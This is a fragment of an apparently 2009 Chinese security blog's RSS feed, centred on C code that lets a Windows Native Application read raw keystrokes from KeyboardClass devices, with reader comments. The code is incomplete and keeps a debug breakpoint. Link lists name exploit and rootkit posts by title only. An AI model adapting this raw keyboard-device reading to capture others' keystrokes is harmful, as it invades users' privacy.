<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p></code><br />
	小弟水平很菜，写出来的文章也很戳，欢迎拍砖！热爱丢脸！学习&#8230; &#8230;  再贴个图，凑篇幅<br />
<img src="http://www.softrce.net/wp-content/uploads/2009/05/2-300x131.jpg" alt="2" title="2" width="600" height="262" class="alignnone size-medium wp-image-200" /></p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/189">2009年06月8日</a>, dge writes: 学习</li><li><a href="http://www.softrce.net/archives/189">2009年10月28日</a>, daisy writes: 谢谢博主，通俗易懂，很适合像我一样的初学者，谢谢啦~</li><li><a href="http://www.softrce.net/archives/189">2009年11月17日</a>, archangel writes: 容易是容易，怎么编译安装得，说一下啊。wdk</li><li><a href="http://www.softrce.net/archives/189">2010年01月16日</a>, daisy writes: 博主，谢谢你给的小例子，在filter sample里边加入你的代码运行成功后让我长了不少自信。之前一直研究如何通过filter drive修改NET_BUFFER_LIST，对NetBufferList的架构一直难以理解，看你例子的简单读取NetBuffer的数据，比看那一大堆文档明了很多。现在想请教博主一个问题，博士是否了解一些filter driver如何修改NetBuffer的相关技术，msdn里边说只有其创建者才可修改其内容，我试着用NdisAllocateCloneNetBufferList()等函数去复制原NetBufferList，然后修改都不成功。如果博主有了解相关方便的知识，麻烦你可以从百忙中抽出一点时间，给我一些指点或者提示，我的email：hellodaisy@139.com,先谢了~</li><li><a href="http://www.softrce.net/archives/189">2010年01月30日</a>, gz1x writes: 我以前有个项目是LWF的，等有时间写篇文章抛抛砖。</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/256" rel="bookmark" title="Permanent Link: Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2009年04月26日 -- <a href="http://www.softrce.net/archives/1" title="SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2008年09月29日 -- <a href="http://www.softrce.net/archives/9" title="文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/13" title="[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析">[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析</a></li><li>2008年10月15日 -- <a href="http://www.softrce.net/archives/12" title="About Handling Nmi">About Handling Nmi</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/189/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Native Application之键盘处理</title>
		<link>http://www.softrce.net/archives/63</link>
		<comments>http://www.softrce.net/archives/63#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:20:02 +0000</pubDate>
		<dc:creator>robinh00d</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>
		<category><![CDATA[KeyboardClass]]></category>
		<category><![CDATA[Native Application]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=63</guid>
		<description><![CDATA[作者：Robinh00d 高手可以飘过了，这段代码是用于NATIVE APPLICATION支持键盘输入用的，测试PS/2键盘好用，USB键盘未测 就是循环从KeyboardClassX里读键盘数据而已~ ?View Code C1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 [...]]]></description>
			<content:encoded><![CDATA[<p>作者：Robinh00d<br />
高手可以飘过了，这段代码是用于NATIVE APPLICATION支持键盘输入用的，测试PS/2键盘好用，USB键盘未测<br />
就是循环从KeyboardClassX里读键盘数据而已~<br />
<span id="more-63"></span></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p63code4'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p634"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
</pre></td><td class="code" id="p63code4"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#define MAX_KEYBOARD_COUNT 10</span>
HANDLE hKbdTable<span style="color: #009900;">&#91;</span>MAX_KEYBOARD_COUNT<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
HANDLE hReadKbdEvt<span style="color: #009900;">&#91;</span>MAX_KEYBOARD_COUNT<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
USHORT KbdInputBuffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
UCHAR ScancodeTable<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">//ESC</span>
<span style="color: #ff0000;">'1'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'2'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'3'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'4'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'5'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'6'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'7'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'8'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'9'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'0'</span><span style="color: #339933;">,</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">'Q'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'W'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'E'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'R'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'T'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'Y'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'U'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'I'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'O'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'P'</span><span style="color: #339933;">,</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">//ENTER</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">'A'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'S'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'D'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'F'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'G'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'H'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'J'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'K'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'L'</span><span style="color: #339933;">,</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">'Z'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'X'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'C'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'V'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'B'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'N'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'M'</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
BOOLEAN KeyboardHandler<span style="color: #009900;">&#40;</span>PULONG pulResult<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	HANDLE hKbdDevice <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span>
	ULONG i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
	ULONG ulKbdNum <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
	PWCHAR szwKbdDeviceName <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span>
	OBJECT_ATTRIBUTES ObjectAttributes<span style="color: #339933;">;</span>
	NTSTATUS ntStatus <span style="color: #339933;">=</span> STATUS_UNSUCCESSFUL<span style="color: #339933;">;</span>
	UNICODE_STRING usDeviceName<span style="color: #339933;">;</span>
	PIO_STATUS_BLOCK pIoStatusBlocks <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span>
	LARGE_INTEGER TimeOut<span style="color: #339933;">;</span>
	LARGE_INTEGER ByteOffset<span style="color: #339933;">;</span>
	ULONG ulCharCount <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
	BOOLEAN bIsEsc <span style="color: #339933;">=</span> FALSE<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//是否输入了ESC</span>
	BOOLEAN bIsEnter <span style="color: #339933;">=</span> FALSE<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//是否输入了回车</span>
	BOOLEAN bIsScanAllDrive <span style="color: #339933;">=</span> FALSE<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//扫描全盘标志位</span>
	WCHAR szwPrintMsg<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
	KEYBOARD_INPUT_DATA KeyboardInputData <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
	ASSERT<span style="color: #009900;">&#40;</span>pulResult <span style="color: #339933;">!=</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	__asm <span style="color: #993333;">int</span> <span style="color: #0000dd;">3</span>
	szwKbdDeviceName <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>PWCHAR<span style="color: #009900;">&#41;</span>RtlAllocateHeap<span style="color: #009900;">&#40;</span>Heap<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">128</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>NULL <span style="color: #339933;">==</span> szwKbdDeviceName<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> FALSE<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	pIoStatusBlocks <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>PIO_STATUS_BLOCK<span style="color: #009900;">&#41;</span>RtlAllocateHeap<span style="color: #009900;">&#40;</span>Heap<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>IO_STATUS_BLOCK<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>MAX_KEYBOARD_COUNT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>NULL <span style="color: #339933;">==</span> pIoStatusBlocks<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> FALSE<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">//</span>
	<span style="color: #666666; font-style: italic;">// 尝试打开系统中所有的键盘设备</span>
	<span style="color: #666666; font-style: italic;">//</span>
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> MAX_KEYBOARD_COUNT<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		RtlZeroMemory<span style="color: #009900;">&#40;</span>szwKbdDeviceName<span style="color: #339933;">,</span> <span style="color: #0000dd;">128</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		swprintf<span style="color: #009900;">&#40;</span>szwKbdDeviceName<span style="color: #339933;">,</span> L<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>Device<span style="color: #000099; font-weight: bold;">\\</span>KeyboardClass%d&quot;</span><span style="color: #339933;">,</span> i<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		RtlInitUnicodeString<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>usDeviceName<span style="color: #339933;">,</span>szwKbdDeviceName<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		InitializeObjectAttributes<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>ObjectAttributes<span style="color: #339933;">,&amp;</span>usDeviceName<span style="color: #339933;">,</span>OBJ_CASE_INSENSITIVE <span style="color: #339933;">,</span>NULL<span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		ntStatus <span style="color: #339933;">=</span> NtCreateFile<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>hKbdDevice<span style="color: #339933;">,</span> \
				<span style="color: #208080;">0x80100080</span><span style="color: #339933;">,</span>
				<span style="color: #339933;">&amp;</span>ObjectAttributes<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pIoStatusBlocks<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> FILE_ATTRIBUTE_NORMAL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> NULL <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>NT_SUCCESS<span style="color: #009900;">&#40;</span>ntStatus<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			hKbdTable<span style="color: #009900;">&#91;</span>ulKbdNum<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> hKbdDevice<span style="color: #339933;">;</span>
			InitializeObjectAttributes<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>ObjectAttributes<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			ntStatus <span style="color: #339933;">=</span> NtCreateEvent<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>hReadKbdEvt<span style="color: #009900;">&#91;</span>ulKbdNum<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #208080;">0x1F01FF</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> SynchronizationEvent<span style="color: #339933;">,</span> FALSE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			ulKbdNum<span style="color: #339933;">++;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span>
&nbsp;
	TimeOut.<span style="color: #202020;">QuadPart</span> <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">10</span> <span style="color: #339933;">*</span> <span style="color: #0000dd;">1000</span> <span style="color: #339933;">*</span> <span style="color: #0000dd;">1000</span><span style="color: #339933;">;</span>
	TimeOut.<span style="color: #202020;">QuadPart</span> <span style="color: #339933;">*=</span> <span style="color: #0000dd;">10</span><span style="color: #339933;">;</span>
&nbsp;
	ByteOffset.<span style="color: #202020;">QuadPart</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span>TRUE<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> ulKbdNum<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			ntStatus <span style="color: #339933;">=</span> NtReadFile<span style="color: #009900;">&#40;</span>hKbdTable<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> hReadKbdEvt<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pIoStatusBlocks<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>KeyboardInputData<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>KEYBOARD_INPUT_DATA<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>ByteOffset<span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ntStatus <span style="color: #339933;">==</span> STATUS_PENDING<span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				ntStatus <span style="color: #339933;">=</span> NtWaitForSingleObject<span style="color: #009900;">&#40;</span>hReadKbdEvt<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> FALSE<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>TimeOut<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ntStatus <span style="color: #339933;">==</span> STATUS_TIMEOUT<span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					NtCancelIoFile<span style="color: #009900;">&#40;</span>hKbdTable<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pIoStatusBlocks<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #b1b100;">else</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #666666; font-style: italic;">//保存数据</span>
					<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>KeyboardInputData.<span style="color: #202020;">MakeCode</span> <span style="color: #339933;">==</span> <span style="color: #208080;">0x1C</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//如果是回车</span>
					<span style="color: #009900;">&#123;</span>
					    bIsEnter <span style="color: #339933;">=</span> TRUE<span style="color: #339933;">;</span>
					    <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
					<span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>KeyboardInputData.<span style="color: #202020;">MakeCode</span> <span style="color: #339933;">==</span> <span style="color: #208080;">0x01</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//如果是ESC</span>
					<span style="color: #009900;">&#123;</span>
					    bIsEsc <span style="color: #339933;">=</span> TRUE<span style="color: #339933;">;</span>
					    <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
					<span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>KeyboardInputData.<span style="color: #202020;">MakeCode</span> <span style="color: #339933;">==</span> <span style="color: #208080;">0x3B</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//如果是F1键 则扫描全盘</span>
					<span style="color: #009900;">&#123;</span>
					    bIsScanAllDrive <span style="color: #339933;">=</span> TRUE<span style="color: #339933;">;</span>
					    <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
&nbsp;
					<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>KeyboardInputData.<span style="color: #202020;">Flags</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
					<span style="color: #009900;">&#123;</span>
					    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>KeyboardInputData.<span style="color: #202020;">MakeCode</span><span style="color: #339933;">&lt;</span>sizeof<span style="color: #009900;">&#40;</span>ScancodeTable<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                            <span style="color: #666666; font-style: italic;">//则不做任何处理</span>
                            swprintf<span style="color: #009900;">&#40;</span>szwPrintMsg<span style="color: #339933;">,</span> L<span style="color: #ff0000;">&quot;%c&quot;</span><span style="color: #339933;">,</span> ScancodeTable<span style="color: #009900;">&#91;</span>KeyboardInputData.<span style="color: #202020;">MakeCode</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					        DisplayString<span style="color: #009900;">&#40;</span>szwPrintMsg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
					        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ulCharCount <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span>
					            KbdInputBuffer<span style="color: #009900;">&#91;</span>ulCharCount<span style="color: #339933;">++</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> ScancodeTable<span style="color: #009900;">&#91;</span>KeyboardInputData.<span style="color: #202020;">MakeCode</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">//如果输入了回车或者ESC键则停止记录键盘</span>
&nbsp;
	    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>bIsEnter<span style="color: #009900;">&#41;</span>
	    <span style="color: #009900;">&#123;</span>
	        <span style="color: #339933;">*</span>pulResult <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
	        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
	    <span style="color: #009900;">&#125;</span>
	    <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>bIsEsc<span style="color: #009900;">&#41;</span>
	    <span style="color: #009900;">&#123;</span>
	        <span style="color: #339933;">*</span>pulResult <span style="color: #339933;">=</span> <span style="color: #0000dd;">2</span><span style="color: #339933;">;</span>
	        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
	    <span style="color: #009900;">&#125;</span>
	    <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>bIsScanAllDrive<span style="color: #009900;">&#41;</span>
	    <span style="color: #009900;">&#123;</span>
	        <span style="color: #339933;">*</span>pulResult <span style="color: #339933;">=</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">;</span>
	        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
	    <span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">return</span> TRUE<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="padding-left: 30px;">效果：</p>
<p style="padding-left: 30px;"><img class="aligncenter size-full wp-image-64" title="GetKbdDemo" src="http://www.softrce.net/wp-content/uploads/2009/04/demo.jpg" alt="GetKbdDemo" width="651" height="241" /></p>
</pre>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/63">2009年04月30日</a>, gz1x writes: 挺好玩的。</li><li><a href="http://www.softrce.net/archives/63">2009年04月30日</a>, gz1x writes: 好像代码贴的有问题。</li><li><a href="http://www.softrce.net/archives/63">2009年04月30日</a>, robinh00d writes: 我少贴了几个全局变量~ 一会加上 还有 代码高亮功能还没弄好，等晚上ayarei下课后再弄~</li><li><a href="http://www.softrce.net/archives/63">2009年04月30日</a>, ayarei writes: 其实贴完整代码没什么意思呀~还是有点悬念自己改改的好~</li><li><a href="http://www.softrce.net/archives/63">2009年04月30日</a>, Rinrin writes: TinyKRNL里有个NCLI,不过只能处理一个键盘</li><li><a href="http://www.softrce.net/archives/63">2009年05月1日</a>, Azy writes: 不错。。。</li><li><a href="http://www.softrce.net/archives/63">2009年05月3日</a>, mengxp writes: 那行字没空格 -.-</li><li><a href="http://www.softrce.net/archives/63">2009年05月3日</a>, robinh00d writes: 没支持空格～</li><li><a href="http://www.softrce.net/archives/63">2009年06月1日</a>, 0x4 writes: 怎么tab跟空格混用的，真难看

全部替换成空格多好。</li><li><a href="http://www.softrce.net/archives/63">2009年07月31日</a>, 49513524 writes: 郁闷,对于大菜鸟来说代码贴不全很郁闷的.</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年05月12日 -- <a href="http://www.softrce.net/archives/312" title="RdpDr.sys Bug Check 0X7E{0xC0000005}">RdpDr.sys Bug Check 0X7E{0xC0000005}</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li><li>2009年01月10日 -- <a href="http://www.softrce.net/archives/21" title="容易被忽略的IDA快捷键">容易被忽略的IDA快捷键</a></li><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" 